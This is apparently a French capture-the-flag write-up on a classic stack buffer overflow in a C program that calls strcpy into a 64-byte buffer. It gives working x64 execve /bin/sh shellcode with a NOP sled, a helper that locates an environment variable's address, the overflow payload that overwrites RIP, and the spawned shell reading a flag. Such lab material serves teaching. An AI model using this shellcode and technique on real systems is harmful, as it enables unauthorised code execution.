Source :
#include
int main (int argc, char *argv[]) {
char buffer[64];
if (argc > 1)
strcpy (buffer, argv[1]);
return 0;
}
La vulnérabilité se trouve au niveau de l'appel à la fonction strcpy() qui copie l'argument d'entrée dans un tableau de 64.
On commence par exporter dans une variable d'environnement le shellcode (/bin/sh pour linux x64) avec quelques NOPs (pour le plaisir) :
guest@ns37997:/home/exploit-3$ export SHELLCODE=`python -c 'print "\x90"*5000 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`
On récupère l'adresse du shellcode :
guest@ns37997:/home/exploit-3$ /tmp/foo/getenv SHELLCODE ./vulnerable
> SHELLCODE = 0x7fffffffd5c8
exploitation de l'overflow avec l'adresse du shellcode dans le RIP dans un fichier temporaire :
guest@ns37997:/home/exploit-3$ python -c 'print "A"*72 + "\xc8\xd5\xff\xff\xff\x7f"' > /tmp/foo/xploit
On lance l'exploit :
guest@ns37997:/home/exploit-3$ ./vulnerable `cat /tmp/foo/xploit`
récupération du flag :
sh-4.2$ cat ./.secret
> eim8naphiG
Code source de getenv (pour récupérer l'adresse du shellcode en environnement) :
#include
#include
#include
int main(int argc, char **argv){
char *ptr;
if(argc < 3){
printf("usage: variable d environnement, programme\n", argv[0]);
exit(EXIT_FAILURE);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) *2;
printf("%s = %p\n", argv[1], ptr);
return EXIT_SUCCESS;
}